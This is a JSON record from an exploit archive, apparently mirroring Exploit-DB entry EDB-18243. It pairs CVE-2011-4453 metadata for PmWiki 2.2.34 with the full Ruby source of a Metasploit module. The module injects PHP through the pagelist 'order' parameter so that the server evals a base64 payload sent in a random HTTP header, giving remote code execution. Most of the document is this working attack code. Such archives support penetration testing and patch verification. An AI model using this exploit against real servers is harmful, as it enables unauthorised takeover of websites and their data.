{"exploit":{"id":"EDB-18243","name":"PmWiki 2.2.34 - 'pagelist' Remote PHP Code Injection (2) (Metasploit)","description":"PmWiki 2.2.34 - 'pagelist' Remote PHP Code Injection (2) (Metasploit)","cves":["CVE-2011-4453"],"author":"Metasploit","published":"2011-12-14","platform":"php","type":"webapps","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/18243","path":"exploits/php/webapps/18243.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-18243.rb","vulnerabilities":[{"id":"CVE-2011-4453","state":"PUBLISHED","title":null,"titleSource":null,"description":"The PageListSort function in scripts/pagelist.php in PmWiki 2.x before 2.2.35 allows remote attackers to execute arbitrary code via PHP sequences in a crafted order parameter in a pagelist directive, leading to unintended use of the PHP create_function function.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2011-4453","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2011-4453"},"updatedAt":"2024-09-16T19:51:19.070Z","retrievedAt":"2026-11-26T22:09:08.933Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-18243.png?v=2","url":"https://exploitbin.com/exploits/EDB-18243","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-18243/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-18243/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# This file is part of the Metasploit Framework and may be subject to\n# redistribution and commercial restrictions. Please see the Metasploit\n# Framework web site for more information on licensing and terms of use.\n# http://metasploit.com/framework/\n##\n\nrequire 'msf/core'\n\nclass Metasploit3 < Msf::Exploit::Remote\n\tRank = ExcellentRanking\n\n\tinclude Msf::Exploit::Remote::HttpClient\n\n\tdef initialize(info={})\n\t\tsuper(update_info(info,\n\t\t\t'Name'           => 'PmWiki <= 2.2.34 (pagelist) Remote PHP Code Injection Exploit',\n\t\t\t'Description'    => %q{\n\t\t\t\tThis module exploits an arbitrary command execution vulnerability\n\t\t\t\tin PmWiki from 2.0.0 to 2.2.34. The vulnerable function is\n\t\t\t\tinside /scripts/pagelist.php.\n\t\t\t},\n\t\t\t'License'        => MSF_LICENSE,\n\t\t\t'Author'         =>\n\t\t\t\t[\n\t\t\t\t\t'EgiX',  # Vulnerability discovery and exploit\n\t\t\t\t\t'TecR0c' # Metasploit Module\n\t\t\t\t],\n\t\t\t'References'     =>\n\t\t\t\t[\n\t\t\t\t\t['CVE', '2011-4453'],\n\t\t\t\t\t['BID', '50776'],\n\t\t\t\t\t['OSVDB', '77261'],\n\t\t\t\t\t['URL', 'http://www.exploit-db.com/exploits/18149/'],\n\t\t\t\t\t['URL', 'http://www.pmwiki.org/wiki/PITS/01271']\n\t\t\t\t],\n\t\t\t'Privileged'     => false,\n\t\t\t'Payload'        =>\n\t\t\t\t{\n\t\t\t\t\t'Keys'        => ['php'],\n\t\t\t\t\t'Space'       => 4000,\n\t\t\t\t\t'DisableNops' => true,\n\t\t\t\t},\n\t\t\t'Platform'       => ['php'],\n\t\t\t'Arch'           => ARCH_PHP,\n\t\t\t'Targets'        => [['Automatic',{}]],\n\t\t\t'DisclosureDate' => 'Nov 09 2011',\n\t\t\t'DefaultTarget'  => 0))\n\n\t\tregister_options(\n\t\t\t[\n\t\t\t\tOptString.new('URI',[true, \"The path to the pmwiki installation\", \"/\"]),\n\t\t\t],self.class)\n\tend\n\n\tdef check\n\t\turi = datastore['URI']\n\t\turi += (datastore['URI'][-1, 1] == \"/\") ? 'pmwiki.php?n=PmWiki.Version' : '/pmwiki.php?n=PmWiki.Version'\n\n\t\tres = send_request_raw(\n\t\t\t{\n\t\t\t\t'uri' => uri\n\t\t\t}, 25)\n\n\t\tif (res and res.body =~ /pmwiki-2.[0.00-2.34]/)\n\t\t\treturn Exploit::CheckCode::Vulnerable\n\t\tend\n\t\treturn Exploit::CheckCode::Safe\n\tend\n\n\tdef exploit\n\t\tp = Rex::Text.encode_base64(payload.encoded)\n\t\theader = rand_text_alpha_upper(3)\n\t\theader_append = rand_text_alpha_upper(4)\n\n\t\turi = datastore['URI']\n\t\turi += (datastore['URI'][-1, 1] == \"/\") ? 'pmwiki.php' : '/pmwiki.php'\n\n\t\tres = send_request_cgi({\n\t\t\t'method'    => 'POST',\n\t\t\t'uri'       => uri,\n\t\t\t'vars_post' =>\n\t\t\t\t{\n\t\t\t\t\t'action' => 'edit',\n\t\t\t\t\t'post' => 'save',\n\t\t\t\t\t'n' => \"#{header}.#{header_append}\",\n\t\t\t\t\t'text' => \"(:pagelist order=']);error_reporting(0);eval(base64_decode($_SERVER[HTTP_#{header}]));die;#:)\",\n\t\t\t\t}\n\t\t\t}, 25)\n\n\t\tres = send_request_cgi({\n\t\t\t'method'  => 'POST',\n\t\t\t'uri'     => uri,\n\t\t\t'headers' =>\n\t\t\t\t{\n\t\t\t\t\theader => p,\n\t\t\t\t\t'Connection' => 'Close',\n\t\t\t\t},\n\t\t\t'vars_post' =>\n\t\t\t\t{\n\t\t\t\t\t'n' => \"#{header}.#{header_append}\",\n\t\t\t\t}\n\t\t}, 25)\n\tend\nend","sha256":"e41f2e2319beea2c3bcc6d4691968813fd7a10ef96e23f52a74a0f0efdb5f21a","bytes":2696,"fetchedAt":"2026-11-26T22:09:05.420Z","encoding":"utf-8 (display only; download retains original bytes)"}